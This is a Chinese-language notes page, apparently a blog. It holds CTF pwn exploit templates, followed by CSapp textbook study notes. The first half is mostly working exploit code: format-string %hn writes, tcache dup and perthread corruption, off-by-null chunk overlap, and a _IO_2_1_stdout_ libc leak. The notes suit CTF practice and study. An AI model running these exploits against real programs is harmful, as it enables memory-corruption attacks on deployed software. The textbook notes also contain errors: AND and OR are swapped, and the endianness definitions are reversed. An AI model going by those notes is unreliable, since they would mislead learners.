例如:实现“ 目标地址 => shellcode ”

  • 找寻:最后指向地址相同的两片空间(“偏移N”,“偏移M”)
  • 把“目标地址”写入“偏移N”
  • 对应的“偏移M”最终也会指向“目标地址”
  • 把“shellcode”写入“偏移M”(其实就是把“shellcode”写入“目标地址”了)

通常需要分段写入地址,先写入高地址,所以模板为:(每次修改2字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
payload = "%{}c%N$hn\n".format(target_addr_in_stack + 6) # last 6~8
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*3) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 4) # last 4~6
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*2) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack + 2) # last 2~4
p.send(payload)

payload = "%{}c%M$hn\n".format((shellcode_addr >> 16*1) & 0xFFFF)
p.send(payload)

payload = "%{}c%N$hn\n".format(target_addr_in_stack) # last 0~2
p.send(payload)

payload = "%{}c%M$hn\n".format(shellcode_addr & 0xFFFF)
p.send(payload)

leak模板

格式化字符串的 leak 很简单,只需要输入若干“-%p”,并在GDB中确认格式化参数的地址后,就可以计算出各个地址的偏移了

​ // 前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点

实现 leak 了之后,首先需要寻找“最后指向地址相同”的内存空间,方便以后的 WAA

Tcache Attack 模板

Tcache Attack的形式多种多样,遇到一个记录一个

Tcache leak

如果程序拥有“打印模块”,就先可以填满 Tcachebin,然后打 Unsortedbin leak

1
2
3
4
5
6
7
for i in range (9):
add(i,0x100,'aaaa')

for i in range (7):
delete(i)

delete(7) # chunk8 into Unsortedbin

申请9个chunk:7个填Tcachebin,1个leak,1个防止和合并Top chunk

Tcache dup

1
2
3
4
5
6
7
delete(index)
edit(index,"\x00"*0x10)
delete(index)

edit(index,p64(target))
add(size)
add(size) # malloc the target
  • 释放 chunk ,覆盖 “chunk->FD,chunk->BK” 为“\x00” ,再次释放
  • 利用修改模块覆写上 target
  • 连续两次申请获取 target

Tcache perthread corruption

一,打 count 获取 unsorted chunk:

1
2
3
4
5
6
7
8
9
10
delete(index) # Tcache dup
edit(index,"\x00"*0x10)
delete(index)

payload="\x00"*0x48 + p64(0x0007000000000000) # cover count to '7'

edit(index,p64(heap_base + 0x10)) # tcache_perthread_struct->next
add(size)
add(size,payload) # malloc the tcache_perthread_struct
delete(index)
  • 注意:tcache->next 和常规的FD指针相似但不同,FD指向 nextchunk->presize ,而 next 指向 nextchunk->next
  • 利用 Tcache dup 申请到“tcache_perthread_struct”(第一个chunk)
  • 修改对应“tcache_perthread_struct->size”的“count”为“7”(偏移可以在GDB中看)
  • 释放“tcache_perthread_struct”使其进入“unsortedbin”

二,打 tcache_entry 劫持 tcachebin:

这个很灵活,不好用代码表示,这里我挂上几个堆风水:

1
2
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd010: 0x0001000200000000 0x0000000000000001
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 // delete
0x558b1cfcd070: 0x0000000000000000 0x0000000000000000
0x558b1cfcd080: 0x0000000000000000 0x0000000000000000
0x558b1cfcd090: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 // '0x40'的tcache
/* 伪造'0x40'的tcache(带有main_arena) */
0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 // '0x60'的tcache
/* 这里曾经是unsortedbin,所以main_arena留下来了 */
1
2
3
4
tcachebins
0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd
0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1
0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd
  • 注意:因为 tcache 的性质,在对应“size的tcache”中写入地址,就会申请这个地址作为“tcache->next”(也就是说,数据会直接写入该地址)
  • 关键在于:使 '0x40' tcache 中装有 '0x50' tcache addr ,使其可以通过申请“0x30”来修改 '0x50' tcache 的地址(劫持大小为“0x50”的tcachebin)

Off-By-Null模板(基于read)

有些程序为了“打印模块”的安全性,会在read完成后加一个“\x00”,造成了off-by-null

例如:( (&list + index) + read(0, *(&list + index) , size) ) = 0

有Tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(0, 11):
add(i, 0xF8, "a"*0xF0+"b"*0x8)

for i in range(3, 10):
delete(i)

delete(0)
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)

add(0, 0x70, "\n")
add(0, 0x70, "\n")
show(1)

覆盖前:

1
2
3
0x55a67dfb3450:	0x6262626262626262	0x0000000000000101 # chunk2(allocated)
0x55a67dfb3460: 0x6161616161616161 0x6161616161616161
0x55a67dfb3470: 0x6161616161616161 0x6161616161616161

覆盖后:

1
2
3
0x561f0e5bf450:	0x0000000000000200	0x0000000000000100 # chunk2(allocated)
0x561f0e5bf460: 0x6161616161616161 0x6161616161616161
0x561f0e5bf470: 0x6161616161616161 0x6161616161616161

导致程序误以为chunk0(free)是chunk2相邻的上一个chunk,在释放chunk2后,会导致chunk0,chunk1,chunk2,三者合并为free_chunk

两次申请“0x80”大小的chunk后,free_chunk刚好和chunk1_old重合,把“arena_main + xx”写入chunk1_old,这之后就可以利用“打印模块”进行泄露了

IO_2_1_stdout Leak 模板

基于 Double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pwn():	
# lead target to chunk2
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x90,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))

# Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,padding) # cover "chunk0->FD" to make chunk1 into fastbin
add(0x60) # can change
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00') # malloc the target
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-offset
  • 整个过程在循环中进行,有 1/16 的概率可以成功
  • 把 chunk1 放入 unsortedbin 然后覆盖 main_arena 为 target
  • 进行 Double free ,然后覆盖“chunk0->FD”,使其指向 chunk1
  • 申请 target 修改 _IO_2_1_stdout_ 的“flag”为“0xfbad1800”,将后面三个read指针置空,将 _IO_write_base 处的第一个字节改为“0”

这里一定是:先覆盖 main_arena ,后 Double free 把它链入 fastbin

FILE结构体模板

这个模板主要是个函数:

1
2
3
4
5
6
7
8
9
10
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

用它可以快速伪造 FILE 结构体

从CSapp中收获的知识

CSapp是一本很好的书,它像极了一本“技术字典”,知识十分全面但又不深入,对学习计算机有着引领性的作用

我学习CSapp已经有一段时间了,有些章节可以调起我的兴趣,使我在网络上进行了知识扩充,但有些章节用大段大段的文字来劝退我,甚至还有一些章节玩起了“高数”,搞得我很懵逼

CSapp上的知识太杂,太广,我感觉好多知识我都没法利用上(或许以后用得上),我害怕搞忘了这些知识,于是我也做过章节总结,但是我发现这样做的效率并不高,所以我打算不以章节为单位进行总结,而是把知识拆分为小块,逐一记录


栈帧

程序执行流程

文字版本如下:

编译器驱动程序

编译器驱动程序的工作:调用语言预处理器,编译器,汇编器,链接器

详细过程:

  • 预处理阶段:预处理器(cpp)根据以字符 “#” 开头的命令,修改原始的 C 程序(比如 hello.c 中第 1 行的#include命令告诉预处理器读取系统头文件 stdio.h 的内容)并把它直接插入程序文本中,结果就得到了另一个 C 程序
    • 通常是以 .i 作为文件扩展名
    • 所谓的头文件,里面装的其实就是函数声明(libc库中的函数:scanf,printf 等)
  • 编译阶段:编译器(ccl)将文本文件 hello.i 翻译成文本文件 hello.s,它包含一个汇编语言程序
    • .s 文件其实就是装有汇编语言的文件
  • 汇编阶段:汇编器(as)将 hello.s 翻译成机器语言指令,把这些指令打包成一种叫做可重定位目标程序(relocatable object program)的格式,并将结果保存在目标文件 hello.o 中
    • hello.o 文件是一个二进制文件,它包含的 17 个字节是函数 main 的指令编码
    • 如果我们在文本编辑器中打开 hello.o文件,将看到一堆乱码(二进制)
  • 链接阶段:链接器(ld)就负责处理合并各个 hello.o 文件,结果就得到 hello 文件,它是一个可执行目标文件(或者简称为可执行文件),可以被加载到内存中,由系统执行
    • 请注意,hello 程序调用了 printf 函数,它是每个 C 编译器都提供的标准 C 库中的一个函数
    • printf 函数存在于一个名为 printf.o 的单独的预编译好了的目标文件中,而这个文件必须以某种方式合并到我们的 hello.o 程序中
    • 通过修改 hello.o 可以影响最终文件 hello 的效果

抽象

抽象是从众多的事物中抽取出共同的、本质性的特征

指令集架构是对 实际处理器硬件 的抽象

文件是对 I/O设备 的抽象

虚拟内存是对 程序存储器 的抽象

虚拟机是对 整个计算机 的抽象

缓存

缓存(cache),原始意义是指访问速度比一般随机存取存储器(RAM)快的一种高速存储器,通常它不像系统主存那样使用 [DRAM]技术 ,而使用昂贵但较快速的 [SRAM]技术 ,缓存的设置是所有现代计算机系统发挥高性能的重要因素之一

缓存的工作原理是当CPU要读取一个数据时,首先从CPU缓存中查找,找到就立即读取并送给CPU处理,没有找到,就从速率相对较慢的内存中读取并送给CPU处理

缓存命中

但程序需要在第 n 层中查找数据时:它会首先在第 n-1 层中查找, 如果数据刚好就在第 n-1 层中,就直接使用第 n-1 层中的数据,称为缓存命中

从第 n-1 层中读取,要比从第 n 层中读取更快

缓存不命中

另一方面,如果程序没有在第 n-1 层中查找到数据,那么它便会在第 n 层中查找,称为缓存不命中,同时会把第 n 层的数据写入第 n-1

内存阶层

速度快的存储器往往容量小,容量大的储存器往往速度慢

所以综合存储器的优劣,内存阶层的机制出现了

核心思想为:上一层(更快更小)为下一层(更大更慢)的缓存

内存阶层是在电脑架构下储存系统阶层的排列顺序,每一层于下一层相比都拥有较高的速度和较低延迟性,以及较小的容量(也有少量例外)

类型 位于哪里 存储容量 访问时间
CPU寄存器 位于CPU执行单元中 CPU寄存器通常只有几个到几十个,每个寄存器的容量取决于CPU的字长,所以一共只有几十到几百字节 寄存器是访问速度最快的存储器,典型的访问时间是几纳秒
Cache 和MMU一样位于CPU核中 Cache通常分为几级,最典型的是如上图所示的两级Cache,一级Cache更靠近CPU执行单元,二级Cache更靠近物理内存,通常一级Cache有几十到几百KB,二级Cache有几百KB到几MB 典型的访问时间是几十纳秒
内存 位于CPU外的芯片,与CPU通过地址和数据总线相连 典型的存储容量是几百MB到几GB 典型的访问时间是几百纳秒
硬盘 位于设备总线上,并不直接和CPU相连,CPU通过设备总线的控制器访问硬盘 典型的存储容量是几百GB 典型的访问时间是几毫秒,是寄存器的“10的6次方”倍

管理单元

计算机常用“扇区”,“簇”,“块”,“页”等概念,这些都是管理单元

扇区:(Sector)

扇区,顾名思义,每个磁盘有多条同心圆似的磁道,磁道被分割成多个部分,每部分的弧长加上到圆心的两个半径,恰好形成一个扇形,所以叫做扇区

扇区是磁盘中最小的物理存储单位(每个扇区的大小是512字节,通常4096字节)

块:(Block)

块是操作系统中最小的逻辑存储单元(例如内存块的基本组成单元:chunk)

簇:

簇是微软操作系统(DOS、WINDOWS等)中磁盘文件存储管理的最小单位

块和簇的关系:

在Windows下如NTFS等文件系统中叫做簇

在Linux下如Ext4等文件系统中叫做块

每个簇或者块可以包括2、4、8、16、32、64… “2的n次方” 个扇区

页:(page)

页是内存的最小存储单位,页的大小通常为磁盘块大小的 “2的n次方” 倍,是内存操作的基本单位

操作系统

操作系统有两目的:

1.防止硬件被失控的应用滥用

2.向应用程序提供简单一致的机制来控制复杂的低级硬件

操作系统通过几个基本的抽象概念来实现这两个功能:

1.文件是对 I/O设备 的抽象

2.虚拟内存是对 程序存储器 的抽象

3.进程是对 处理器,内存,I/O设备 的抽象

程序计数器(PC)

程序计数器(PC)是CPU控制部件中的一种,用于存放指令的地址

程序计数器是一个概念上的说法,不同的机型把不同的存储器当成程序计数器

  • 8086:IP寄存器
  • i386:EIP寄存器
  • amd64:RIP寄存器

上下文切换

内核可以决定抢占当前进程,并重新开始一个被抢占的进程,这种决策叫做调度,是由内核中被称为“调度器”的代码处理的

上下文切换机制用于:保存“被调度进程”的数据

进程

当程序在系统上运行时,操作系统会提供一种 假象 ,就好像系统上只有这个程序在运行一样,程序看上去是在 独占 处理器(该程序是系统资源中唯一的对象)

这些 假象 是通过 进程 这个概念来实现的

​ //在系统中,各种程序交替执行,而 进程 把不同功能的程序 区分 开来

在单处理器系统中:

程序想要“并发处理多个进程”时,必须要先保存当前进程的 上下文 ,然后创建新进程的 上下文

比如“hello”执行的过程就涉及到两个进程:1.shell 2.hello

系统中的每个程序都运行在某个进程的上下文中,上下文就是程序正确运行所需要的状态(包括:存放在内存中的代码和数据,栈和通用寄存器中的内容,程序计数器,环境变量,打开文件描述符的集合)

进程将会提供给应用程序两个关键的抽象:

  • 逻辑控制流
  • 私有地址空间

逻辑控制流

实际上:系统中的进程是交错运行的,每个进程执行它流的一部分,然后被抢占(暂时挂起),接着轮到其他进程

进程提供的假象:好像每个程序都在单独地使用处理器

这种假象就是:逻辑控制流,它仿佛可以控制程序的逻辑行为,一步一步的流向,可以使用流程图来表现这种行为的流动,方便了调试人员对程序执行流程的把控

并发流

系统中的逻辑流有多种不同的形式:异常处理,进程,信号处理,线程,java进程……

并发流:在时间上,一个逻辑流和另一个逻辑流冲突,这两个流并发运行

并发:多条流在同时执行的一般现象

多任务(时间分片):多个进程流量执行的现象

私有地址空间

私有地址空间也是进程提供的假象,好像程序在单独地使用系统地址空间一样

​ // 私有地址空间是虚拟内存的子集

每个进程都会为所对应的程序提供一份“私有地址空间”,每个“私有地址空间”完全一致,并且只能被所对应的程序访问

进程控制

Unix提供了大量从C程序中操作进程的系统调用

僵死进程

当一个进程因为某种原因终止后,内核并不会马上把它清除,而是等待它的父进程把它回收

一个终止了但是还没有被回收的进程被称为僵死进程

如果一个进程的父进程终止了,内核会安排“init进程”成为它的“养父”(代替父进程回收子进程)

​ // “init进程”的PID为“1”,“调度进程”(系统进程)的PID为“0”

PID算法

PID,就是“比例(proportional)、积分(integral)、微分(derivative)”

PID控制应该算是应用非常广泛的控制算法,小到控制一个元件的温度,大到控制无人机的飞行姿态和飞行速度等等,都可以使用PID控制。这里我们从原理上来理解PID控制

线程

线程(英语:thread)是操作系统能够进行运算调度的最小单位

线程被包含在进程之中,是进程中的实际运作单位

​ // 多线程多进程 跟高效

虚拟内存

虚拟内存为每个进程提供了一个假象

就好像每个进程在单独占用内存空间一样,每个进程中看到的内存是一样的(虚拟地址空间)

即:该进程是系统资源中唯一的对象

物理内存是不连续的,但是操作系统完成了“使内存看起来是连续的”这样一份抽象,创造了 虚拟内存 ,并且为虚拟内存中的各个空间进行了编号

  • 虚拟内存用户空间每个进程各一份
  • 虚拟内存内核空间所有进程共享一份
  • 虚拟内存 mmap 段中的动态链接库仅在物理内存中装载一份

虚拟内存的作用

硬件只能识别“物理地址”,而“物理地址”是不连续的并且不方便显示,这就给调试程序带来了巨大的影响

所以操作系统抽象出了“虚拟内存”,把硬件中的数据映射到“虚拟内存”中,方便了调试

虚拟内存作为缓存工具

VM系统(虚拟程序系统)将虚拟内存分割成块,这些块被称为虚拟页

每个虚拟页的大小为“P = 2的p次方”字节,类似地,物理内存被分割为物理页,大小也为P字节(物理页也被称为“页帧”)

在任意时刻,虚拟页面的集合都分为3个不相交的子集:

  • 未分配的:VM系统还未分配的页,没有数据和它们相关,不占用磁盘空间
  • 缓存的:当前已缓存在物理内存中的已分配页
  • 未缓存的:当前未缓存在物理内存中的已分配页

Proc文件系统

Proc文件系统是一个伪文件系统,它只存在于内存中(不占用外存空间),允许“用户模式进程”访问“内核数据结构”的内容

Proc文件系统将许多“内核数据结构”的内容输出为一个用户程序可以读的“文本文件”

1
$ /proc/cpuinfo				# 输出CPU属性

Unix I/O

一个 Linux 文件就是一个 m 个字节的序列,所有的 I/O 设备(例如网络、磁盘和终端)都被模型化为文件,而所有的输入和输出都被当作对相应文件的读和写来执行

这种将设备优雅地映射为文件的方式,允许 Linux 内核引出一个简单、低级的应用接口,称为 Unix I/O,这使得所有的输入和输出都能以一种统一且一致的方式来执行:

  • 打开文件:一个应用程序通过要求内核打开相应的文件,来宣告它想要访问一个 I/O 设备,内核返回一个小的非负整数,叫做 描述符 ,它在后续对此文件的所有操作中标识这个文件,内核记录有关这个打开文件的所有信息,应用程序只需记住这个描述符
  • 改变当前的文件位置:对于 每个打开的文件 ,内核保持着一个 文件位置(符号为 k),初始为 0,这个文件位置是 从文件开头起始的字节偏移量(相当于“指向”内存中文件末尾的一个标记,也可以用来记录该文件在内存中的大小),应用程序能够通过执行 seek 操作,显式地设置文件的当前位置为 k
  • 读写文件:一个读操作就是 从文件复制 n > 0 个字节到内存(从当前文件位置 k 开始,然后将 k 增加到 k+n) ,假设给定一个大小为 m 字节的文件,当 k>=m 时(文件被完全读入内存)会触发一个称为 end-of-file(EOF)的条件,应用程序能检测到这个条件,在文件结尾处并没有明确的“EOF符号”,类似地,写操作就是 从内存复制 n > 0 个字节到一个文件)从当前文件位置 k 开始,然后更新 k)
  • 关闭文件:当应用完成了对文件的访问之后,它就通知内核关闭这个文件,作为响应,内核释放文件打开时创建的数据结构,并将这个描述符恢复到可用的描述符池中,无论一个进程因为何种原因终止时,内核都会关闭所有打开的文件并释放它们的内存资源

Linux shell 创建的每个进程开始时都有三个打开的文件:标准输入(描述符为 0)、标准输出(描述符为 1)和 标准错误(描述符为 2),头文件 定义了常量 STDIN_FILENO、STDOUT_FILENO 和 STDERR_FILENO,它们可用来代替显式的描述符值

文件

文件就是 字节序列

系统中所有的输入输出都是通过使用 Unix I/O系统函数 来实现的,文件向应用程序提供了一个 统一的视图 ,来看待系统中可能含有的各种形式的 I/O设备,在linux操作系统中有一个思想“一切皆文件”,即使是内存中的进程都可以被当成文件输出

每个 Linux 文件都有一个 类型(type)来表明它在系统中的角色:

  • 普通文件(regular file):包含任意数据,应用程序常常要区分 文本文件二进制文件 ,文本文件是只含有 ASCII 或 Unicode 字符的普通文件,二进制文件是所有其他的文件
    • 对内核而言,文本文件和二进制文件没有区别
    • Linux 文本文件包含了一个 文本行(text line)序列,其中每一行都是一个字符序列,以一个新行符(“\n”)结束
    • 新行符与 ASCII 的换行符(LF)是一样的,其数字值为 0x0a
  • 目录(directory):是包含一组 链接 的文件,其中每个链接都将一个 文件名 映射到一个文件,这个文件可能是另一个目录
    • 每个目录至少含有两个条目:是到该目录自身的链接,以及是到目录层次结构中 父目录 的链接
    • 你可以用 mkdir 命令创建一个目录,用 Is 查看其内容,用 rmdir 删除该目录
  • 套接字(socket):是用来与另一个进程进行跨网络通信的文件

其他文件类型包含 命名通道 (named pipe)、 符号链接 (symbolic link),以及 字符和块设备 (character and block device)

RIO-健壮地读写

我们会讲述一个 I/O 包,称为 RIO(Robust I/O,健壮的 I/O)包,它会自动为你处理上文中所述的不足值,在像网络程序这样容易出现不足值的应用中,RIO 包提供了方便、健壮和高效的 I/O

RIO 提供了两类不同的函数:

  • 无缓冲的输入输出函数:这些函数直接在内存和文件之间传送数据,没有应用级缓冲,它们对将二进制数据读写到网络和从网络读写二进制数据尤其有用
  • 带缓冲的输入函数:这些函数允许你高效地从文件中读取文本行和二进制数据,这些文件的内容缓存在应用级缓冲区内,类似于为 printf 这样的标准 I/O 函数提供的缓冲区
    • 与【110】中讲述的带缓冲的 I/O 例程不同,带缓冲的 RIO 输入函数是线程安全的,它在同一个描述符上可以被交错地调用
    • 例如,你可以从一个描述符中读一些文本行,然后读取一些二进制数据,接着再多读取一些文本行

共享文件

可以用许多不同的方式来共享 Linux 文件,内核用三个相关的数据结构来表示打开的文件:

  • 描述符表(descriptor table):每个进程都有它独立的描述符表,它的表项是由进程打开的文件描述符来索引的。每个打开的描述符表项指向文件表中的一个表项
  • 文件表(file table):打开文件的集合是由一张文件表来表示的,所有的进程共享这张表,每个文件表的表项组成:
    • 包括当前的 文件位置引用计数(reference count)(即当前指向该表项的描述符表项数),以及一个 指向 v-node 表 中对应表项的指针
    • 关闭一个描述符会减少相应的文件表表项中的引用计数
    • 内核不会删除这个文件表表项,直到它的引用计数为零
  • v-node 表(v-node table):同文件表一样,所有的进程共享这张 v-node 表,每个表项包含 stat 结构中的大多数信息,包括 st_mode 和 st_size 成员

网络

系统并不是由 孤立的 硬件和软件组成的结合体,而是可以通过 网络 相互通信

对于一个单独的系统而言,网络可以认为是一个I/O设备(输入或输出数据到本机)

并发和并行

计算机的发展始终围绕两个目的:1.更多 2.更快

并发:指一个同时具有多活动的系统

并行:指使用 并发 来使一个系统运行得更快

并行可以在计算机系统的多个 抽象层次 中运用,其中最主要的有3个:

1.线程级并发

构建在进程这个抽象之上,我们可以设计出有多个 “程序执行工具” 的系统,这导致了 并行

这个“程序执行工具”就是线程,使用线程,我们甚至可以在一个进程中执行多个 控制流

2.指令级并行

构建在较低的抽象层次上,使处理器可以同时执行多条指令

3.单指令,多数据并行

构建在较最的抽象层次上,允许一条指令可以产生多个“并行执行”的操作

​ //即SIMD并行

指令集架构

指令集架构(InstructionSetArchitecture)

描述:指的是CPU机器码所使用的指令的集合以及其背后的寄存器体系、总线设计等逻辑框架 ,也是规定的一系列CPU与其他硬件电路相配合的指令系统

作用:定义 机器级程序 的格式和行为,它定义了 处理器状态指令的格式 ,以及 每条指令的影响

行为:每条指令顺序执行,一条指令完成后,另一条指令开始

​ //不同进程中的指令会被CPU并发处理,但是就一个进程而言,它的指令是“顺序执行”

字节序

大端序:符合人类的认知(低地址存低位,高地址存高位)

小端序:利用机器的运算(低地址存高位,高地址存低位)

为了方便阅读程序,我们通常把低地址写在上面,把高地址写在下面

​ // 这样小端序就“符合人类的认知”

不同的系统采用不同的字节序

1
2
3
4
5
6
7
8
9
void test_show_bytes(int val)
{
int ival = val;
float fval = (float) ival;
int *pval = &ival;
show_int(ival);
show_fload(fval);
show_pointer(pval);
}

布尔代数

将逻辑值True和False用二进制值“1”和“0”表示,设计出了一种代数

基础逻辑运算:“ ~ ”(非),“ & ”(或),“ | ”(与),“ ^ ”(异或)

过程

过程是软件中一种很重要的抽象,它提供了一种 封装 代码的方式,用一组 指定的参数 和一个 可选择的返回值 实现了某种功能,而程序可以在任何一个位置引用这种功能

设计良好的软件用 过程 作为抽象机制,隐藏某个行为的具体表现,同时又提供清晰简洁的 接口定义 ,说明需要计算的是哪些值,过程会对程序状态产生什么影响

过程在不同的编译语言中有不同的名称:函数(Function),方法(method),子例程,处理函数

嵌套数组&变长数组

嵌套数组:(多维数组)

1
2
3
4
int A[5][3]
------------------------
typedef int row3_[3];
row3_t A[5];

两者是等价的

变长数组:

变长数组既数组大小待定的数组, C语言中结构体的最后一个元素可以是大小未知的数组,也就是所谓的0长度,所以我们可以用结构体来创建变长数组

1
2
3
4
typedef struct {
int len;
int array[];
}SoftArray;

异质的数据结构

c语言提供了两种不同类型的对象组合到一起创建数据类型的机制:

1.结构(structure) 2.联合(union)

structure可以将多个对象集合到一个单位中

union可以用几种不同的类型来引用一个对象

缓存区保护

1.栈随机化

使栈在每一次加载时都会发生变化

对抗:空操作雪橇,在shellcode前面插入相等长度的“nop”,只要有一个地址命中“nop”就行

​ //汇编指令“nop”让IP指针+1,没有其他作用

2.栈破坏机制

Canary(金丝雀)是系统生成的一个随机数,如果它被破坏,系统就会强行终止程序

3.限制可执行权限

伪指令

以“ . ”开头的指令就是 伪指令 ,它们告诉汇编器调整地址,以便在那里产生代码或插入一些数据

例如:伪指令“.pos 0”告诉汇编器应该从地址“0”开始产生代码

控制语言(HCL)

大多数现代的电路技术都是用信号线上的高低电压来表示不同的值

​ //逻辑1用1.0伏特的高电压,逻辑0用0.0伏特的低电压

为了方便编程,硬件描述语言HDL(Hardware Description Language)诞生了

HDL是一种文本表示,和编程语言类似,但是它是用来描述 硬件结构 而不是 程序行为

HCL语言只表达硬件设计的控制逻辑部分,只有有限的操作集合(控制逻辑是处理器中最困难的)

逻辑门

逻辑门是数字电路的基本计算单元,它们的产生和输出,等于它们输入位数的某个布尔函数

组合电路

将很多的逻辑门组合成一个网,就可以构建出一个计算块(computational block),称为组合电路

优化编译器的能力

这两个函数有相同的功能,但CPU读写效率却有不同:

第一个函数需要:2次读 xp,2次读 yp,2次写 *xp

第二个函数需要:1次读 xp,1次读 yp,1次写 *xp

程序性能的表示

我们引入度量标准:每元素的周期数(Cycles Per Element),作为一种表示程序性能并指引我们改进代码的方法

处理器活动的顺序是由时钟控制的,时钟提供了某个频率的规律信号,通常用千兆赫兹,十亿周期每秒来表示

例如:一个系统有“4GHz”处理器,表示这个系统的处理器时钟运行频率为4 * 10的9次方 /每秒

存储器系统

存储器系统是一个具有不同容量,成本,访问时间的存储设备层次结构

靠近CPU的,小的,快速的,称为高速缓存存储器

这个思想围绕着计算机程序的一种称为 局部性 的基本属性,具有良好局部性的程序倾向于一次又一次地访问相同的 数据项集合 ,或是倾向访问邻近的 数据项集合 ,并且更多的倾向于从存储器层次结构中较高层次处访问 数据项集合 ,这些操作都可以使程序运行得更快

局部性

简述

原指处理器在访问某些数据时短时间内存在重复访问,某些数据或者位置访问的 概率极大 ,大多数时间只访问局部的数据(随着优化技术的提升,局部性的概念也得到了扩充)

其实就是概率的不均等,这个宇宙中,很多东西都不是平均分布的,平均分布是概率论中几何分布的一种特殊形式,非常简单,但世界就是没这么简单。我们更长听到的发布叫做高斯发布,同时也被称为正态分布,因为它就是正常状态下的概率发布,起概率图如下 :

时间局部性(Temporal locality):

如果某个信息这次被访问,那它有可能在不久的未来被多次访问

时间局部性是空间局部性访问地址一样时的一种特殊情况,这种情况下,可以把常用的数据加cache(缓存)来优化访存

空间局部性(Spatial locality):

如果某个位置的信息被访问,那和它相邻的信息也很有可能被访问到

这个也很好理解,我们大部分情况下代码都是顺序执行,数据也是顺序访问的

内存局部性(Memory locality):

访问内存时,大概率会访问连续的块,而不是单一的内存地址,其实就是 空间局部性在内存上 的体现

目前计算机设计中,都是以块/页为单位管理调度存储,其实就是在利用空间局部性来优化性能

分支局部性(Branch locality)

这个又被称为顺序局部性,计算机中大部分指令是顺序执行,即便有if这种选择分支,其实大多数情况下某个分支都是被大概率选中的

于是就有了CPU的分支预测优化,设计CPU优先选择 概率较大 的if分支

等距局部性(Equidistant locality)

等距局部性是指如果某个位置被访问,那和它 相邻等距离的连续地址 极有可能会被访问到,它位于空间局部性和分支局部性之间

举个例子,比如多个相同格式的数据数组,你只取其中每个数据的一部分字段,那么他们可能在内存中地址距离是等距的,这个可以通过简单的线性预测就预测是未来访问的位置

步长对局部性的影响

步长:连续序列号的差值

两个函数只是交互了循环的次序,但程序的性能却截然不同

第一个程序:步长为“4”(int类型) [ 4 - 0 ]

第二个程序:步长为“12”(int类型 * 3)[ 12 - 0 ]

第一个程序的性能远高于第二个程序(步长越长,性能越差)

存储技术

静态RAM(SRAM)

SRAM将每个存储在一个 双稳态 的存储器单元中(每个单元通常是用一个 6晶体管电路 来实现的)

这个电路有这样一个属性:它可以无限期地保持 “两个不同的电压配置” 中的一个

这个双稳态的存储器单元就像图中的钟摆一样,除了左右稳态以外的任何区域都是不稳定的

只要有电,它就会永远保持它的值,即使有外界干扰也会马上回复

动态RAM(DRAM)

DRAM将每个存储为一个 电容的充电(每个单元由一个 电容 和一个 访问晶体管 组成)

和SRAM有着较强的稳定性不同,DRAM对干扰非常敏感,电容电压被扰乱以后就不会恢复了

DRAM芯片被封装在内存模块中

内存模块 (Memory Module)是指一个 印刷电路板 表面上有镶嵌数个 记忆体芯片chips(碎片),而这 内存芯片 通常是 DRAM芯片

增强型DRAM

快页模式DRAM(FPM DRAM)

扩展数据DRAM(EDO DRAM)

同步DRAM(SDRAM)

双倍数据速率同步DRAM(DDR SDRAM)

视频RAM(VRAM)

只读存储器ROM(ROM是一种非易失性存储器)

如果计算机突然断电,DRAM和SRAM都会失去它们的数据,所以它们是易失的

在失去电源的情况下,数据也不会丢失的存储器就是非易失性存储器

最开始的ROM是真的“只读”的,但是随着技术的发展,ROM也慢慢“可读”了起来

可编程ROM(PROM)

PROM只能每编程一次(PROM的每个存储器单元都有一种熔丝(fuse),只能被高温熔断一次)

可擦写可编程ROM(EPROM)

EPROM有一个透明的石英窗口,允许光线到达存储单元,当紫外线射过窗口时,EPROM单元会被清除为“0”,对EPROM的编程需要通过特殊设备(把“1”写入EPROM),EPROM总共可以擦除重编程的次数为:10的3次方

电子可擦除PROM(EEPROM)

